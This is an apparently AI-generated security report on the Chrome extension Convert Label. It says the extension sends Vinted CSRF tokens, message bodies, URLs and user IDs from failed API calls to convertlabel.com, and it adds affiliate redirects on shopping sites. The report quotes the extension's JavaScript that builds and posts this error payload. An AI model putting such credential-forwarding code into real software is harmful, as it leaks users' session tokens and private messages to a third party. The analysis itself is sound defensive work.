Is Convert Label safe?

High risk

Convert Label forwards failed Vinted API request headers and bodies to convertlabel.com for error reporting.

When Vinted API calls fail, Convert Label packages the request headers, request body, response text, current page URL, and Vinted user/context IDs and posts them to convertlabel.com. It also redirects visits on supported commerce sites through affiliate URLs such as AWIN or adds merchant affiliate tags automatically when those pages load.

vinkev1.8.0Chrome Web Store
74Risk
Who publishes it

vinke - no other listings under this identity, 2 shared hostnames

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
vinke

Shared hosts - 2 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

vinted.dk
Also called by 2 other listings: Vinted Checker, Asify
vinted.fi
Also called by 3 other listings, including Vinted Checker, Asify

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Vinted error reports forward CSRF-bearing request details

When a Vinted API call from Convert Label errors, the extension sends a report to convertlabel.com with its own headers (including the x-csrf-token used), the request body, API URL, current page URL, response text, and Vinted identifiers.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You use Convert Label in a Vinted inbox workflow that sends a Vinted API request.

For example, the code wraps conversation and reply API calls made from the inbox agent.

The extension did this

If Vinted returns an error, the extension forwards the request details to Convert Label's error endpoint.

The forwarded metadata includes the request headers, request body, Vinted API URL, current page URL, response text, and Vinted identifiers.

Captured request
POSThttps://convertlabel.com/api/extension-error
Headers
Content-Type
application/json
Fields assembled into the error-report metadata
  • Vinted CSRF token
    metadata.headers['x-csrf-token'] = 61f6e86b7e9a4a1fa7d2365bcf6d9a47 (illustrative)

    This is a request credential that Vinted uses to validate actions in your active session.

  • Request body
    metadata.body = {"reply":{"body":"Hello, is this item still available?","photo_temp_uuids":null,"is_personal_data_sharing_check_skipped":false}} (illustrative)

    This can include the Vinted message or workflow data that the extension was trying to send.

  • Vinted API URL
    metadata.fullUrl = https://www.vinted.fr/api/v2/conversations/123456/replies (illustrative)

    This identifies which Vinted conversation, item, inbox, notification, or transaction request failed.

  • Current Vinted page
    metadata.currentPageUrl = https://www.vinted.fr/inbox/123456 (illustrative)

    This ties the error report to the Vinted page you had open at the time.

  • Vinted user ID
    metadata.userIdVinted = 987654321 (illustrative)

    This can link the report to your Vinted account inside the extension workflow.

The code that does this

The shipped code copies Vinted request details into the error report

Readable version

Error-report payload and message handoff

content-scripts/agent/backend.js
async function reportError(errorData) {    try {        console.log('📤 Envoi d\'erreur au background script:', errorData.errorType);                const payload = {            userId: getUserId(),            errorType: errorData.errorType,            message: errorData.message,            stack: errorData.stack,            userAgent: navigator.userAgent,            url: window.location.href,            metadata: {                apiEndpoint: errorData.apiEndpoint,                responseStatus: errorData.responseStatus,                requestMethod: errorData.requestMethod,                extensionVersion: chrome.runtime.getManifest().version,                vintedSession: {                    isLoggedIn: !!getUserId(),                    userId: getUserId()                },                source: 'backend.js',                ...errorData.metadata            }        };        // Envoyer au background script via chrome.runtime.sendMessage        await new Promise((resolve, reject) => {            chrome.runtime.sendMessage({                action: 'reportError',                data: payload            }, (response) => {                if (chrome.runtime.lastError) {                    console.error('❌ Erreur communication background:', chrome.runtime.lastError.message);                    reject(new Error(chrome.runtime.lastError.message));                } else if (response && response.success) {                    console.log('✅ Erreur reportée avec succès:', response.errorId);                    resolve(response);                } else {                    console.warn('⚠️ Échec du reporting d\'erreur:', response?.error);                    reject(new Error(response?.error || 'Erreur inconnue'));                }            });        });    } catch (error) {        console.error('❌ Erreur lors du reporting:', error);    }}

Fetch wrapper that collects headers, body, URLs, response text, and identifiers

content-scripts/agent/backend.js
async function fetchWithErrorReporting(url, options = {}, errorContext = {}) {    try {        const response = await fetch(url, options);                // Reporter les erreurs HTTP        if (!response.ok) {            // Capturer le contenu de la réponse AVANT de la traiter            let responseText = '';            let responseJson = null;                        try {                responseText = await response.clone().text();                // Essayer de parser le JSON pour l'analyser                responseJson = JSON.parse(responseText);            } catch (e) {                responseText = 'Impossible de lire la réponse';                responseJson = null;            }                        console.log('Erreur HTTP:', response.status, responseJson);                        // Enrichir les métadonnées pour faciliter l'extraction du subjectId            const enrichedMetadata = {                context: errorContext.context || 'API call',                headers: options.headers,                body: options.body,                responseText: responseText, // Texte brut de la réponse                responseJson: responseJson, // JSON parsé (optionnel)                fullUrl: url,                timestamp: new Date().toISOString(),                // NOUVEAU : Informations pour l'extraction du subjectId                isConversationFetch: url.includes('/conversations/'),                conversationId: url.includes('/conversations/') ? url.split('/conversations/')[1] : null,                isItemFetch: url.includes('/items/'),                itemId: url.includes('/items/') ? url.match(/\/items\/(\d+)/)?.[1] : errorContext.itemId || null,                subjectId: errorContext.subjectId || errorContext.itemId || null, // Priorité au subjectId explicite                currentPageUrl: window.location.href,                referer: options.headers?.['Referer'] || options.headers?.['referer'],                // Informations sur l'utilisateur Vinted actuel                userIdVinted: getUserId(),                // Informations sur l'agent                agentContext: {                    isFavoriteProcessing: errorContext.context === 'create_favorite_conversation' || errorContext.context === 'fetch_conversation',                    isRelanceProcessing: errorContext.context === 'fetch_conversation' && errorContext.isRelance,                    processingType: errorContext.processingType || 'unknown'                }            };            await reportError({                errorType: 'vinted_api_fetch',                message: `Erreur HTTP ${response.status}: ${response.statusText}`,                stack: new Error().stack,                apiEndpoint: url,                responseStatus: response.status,                requestMethod: options.method || 'GET',                metadata: enrichedMetadata            });        }                return response;            } catch (error) {        // Reporter les erreurs de réseau        await reportError({            errorType: 'network_error',            message: `Erreur réseau: ${error.message}`,            stack: error.stack,            apiEndpoint: url,            requestMethod: options.method || 'GET',            metadata: {                context: errorContext.context || 'API call',                errorCode: error.name,                retryAttempt: errorContext.retryAttempt || 0            }        });                throw error;    }}

Header builder that adds the Vinted CSRF token

content-scripts/agent/backend.js
function createHeaders(referer = null) {    // Utiliser l'URL de base dynamique si aucun referer n'est fourni    if (!referer) {        referer = `${VINTED_BASE_URL}/inbox`;    }    try {        const csrfToken = getCsrfToken(); // Cette fonction peut maintenant lancer une erreur fatale                const headers = {            'accept': 'application/json, text/plain, */*',            'accept-language': 'fr-FR,fr;q=0.9,en;q=0.8',            'content-type': 'application/json',            'Referer': referer,            'Referrer-Policy': 'strict-origin-when-cross-origin',            'cache-control': 'no-cache',            'pragma': 'no-cache'        };        // Le CSRF token est obligatoire, getCsrfToken() lève une erreur si non trouvé        headers['x-csrf-token'] = csrfToken;        return headers;    } catch (error) {        // Si getCsrfToken() a levé une erreur fatale, la relancer        if (error.message.includes('ERREUR CRITIQUE')) {            throw error;        }                // Sinon, créer une nouvelle erreur fatale        const errorMessage = 'ERREUR CRITIQUE: Impossible de créer les headers HTTP. L\'agent Vinted ne peut pas fonctionner.';        console.error(errorMessage);        alert(errorMessage + '\n\nErreur technique: ' + error.message);        throw new Error(errorMessage);    }}

Background script POST to Convert Label

background.js
async function reportErrorToAPI(errorData) {  try {    console.log('[BACKGROUND] Reporting d\'erreur:', errorData.errorType);        const response = await fetch(`${CONFIG.BACKEND_URL}${CONFIG.ENDPOINTS.ERROR_REPORTING}`, {      method: 'POST',      headers: {        'Content-Type': 'application/json',      },      body: JSON.stringify(errorData)    });    if (response.ok) {      const result = await response.json();      console.log('[BACKGROUND] Erreur reportée avec succès:', result.errorId);      return { success: true, errorId: result.errorId };    } else {      console.warn('[BACKGROUND] Échec du reporting d\'erreur:', response.status);      return { success: false, error: `HTTP ${response.status}` };    }  } catch (error) {    console.error('[BACKGROUND] Erreur lors du reporting:', error);    return { success: false, error: error.message };  }}
Destination for the error report
    • convertlabel.com

    Receives the extension error report at /api/extension-error, including the metadata copied from the failed Vinted API request.

What it can do

Permissions this extension asks for, as declared in version 1.7.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 1.8.0, which we have not unpacked yet.

  • Read files on your computer that you open in the browser

    file:///*

  • Read and change your data on every site you visit

    http://*/*

  • Read and change your data on every secure site you visit

    https://*/*

  • Read and change your data on convertlabel.com

    https://convertlabel.com/*

  • Read and change your data on amazon.com

    *://*.amazon.com/*

  • Read and change your data on amazon.com.be

    *://*.amazon.com.be/*

  • Read and change your data on amazon.co.uk

    *://*.amazon.co.uk/*

  • Read and change your data on amazon.de

    *://*.amazon.de/*

  • Read and change your data on amazon.fr

    *://*.amazon.fr/*

  • Read and change your data on amazon.it

    *://*.amazon.it/*

  • Read and change your data on amazon.es

    *://*.amazon.es/*

  • Read and change your data on amazon.nl

    *://*.amazon.nl/*

  • Read and change your data on amazon.be

    *://*.amazon.be/*

  • Read and change your data on amazon.pl

    *://*.amazon.pl/*

  • Read and change your data on amazon.se

    *://*.amazon.se/*

  • Read and change your data on amazon.dk

    *://*.amazon.dk/*

  • Read and change your data on amazon.fi

    *://*.amazon.fi/*

  • Read and change your data on amazon.no

    *://*.amazon.no/*

  • Read and change your data on amazon.at

    *://*.amazon.at/*

  • Read and change your data on amazon.ch

    *://*.amazon.ch/*

  • Read and change your data on amazon.pt

    *://*.amazon.pt/*

  • Read and change your data on amazon.cz

    *://*.amazon.cz/*

  • Read and change your data on amazon.ie

    *://*.amazon.ie/*

  • Read and change your data on www.vinted.com

    *://www.vinted.com/*

  • Read and change your data on www.vinted.fr

    *://www.vinted.fr/*

  • Read and change your data on www.vinted.be

    *://www.vinted.be/*

  • Read and change your data on www.vinted.de

    *://www.vinted.de/*

  • Read and change your data on www.vinted.es

    *://www.vinted.es/*

  • Read and change your data on www.vinted.it

    *://www.vinted.it/*

  • Read and change your data on www.vinted.nl

    *://www.vinted.nl/*

  • Read and change your data on www.vinted.co.uk

    *://www.vinted.co.uk/*

  • Read and change your data on www.vinted.pl

    *://www.vinted.pl/*

  • Read and change your data on www.vinted.cz

    *://www.vinted.cz/*

  • Read and change your data on www.vinted.at

    *://www.vinted.at/*

  • Read and change your data on www.vinted.ch

    *://www.vinted.ch/*

  • Read and change your data on www.vinted.pt

    *://www.vinted.pt/*

  • Read and change your data on www.vinted.se

    *://www.vinted.se/*

  • Read and change your data on www.vinted.dk

    *://www.vinted.dk/*

  • Read and change your data on www.vinted.fi

    *://www.vinted.fi/*

  • Read and change your data on www.vinted.no

    *://www.vinted.no/*

  • Store data in your browser

    storage

  • Run its own code inside the pages you visit

    scripting

  • Act on the current tab, but only after you click the extension

    activeTab

  • See the address and title of every tab you have open

    tabs

  • Start, monitor and manage your downloads

    downloads

Where it sends data

Destinations our analysis observed Convert Label contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • www.awin1.com

    Convert Label sends data to www.awin1.com. 4 other extensions we have analysed send data here.

  • convertlabel.com

    Convert Label sends data to convertlabel.com. No other extension we have analysed sends data here.

Updated 30 September 2026kojlkoompagohabokhpanhcjannalmbh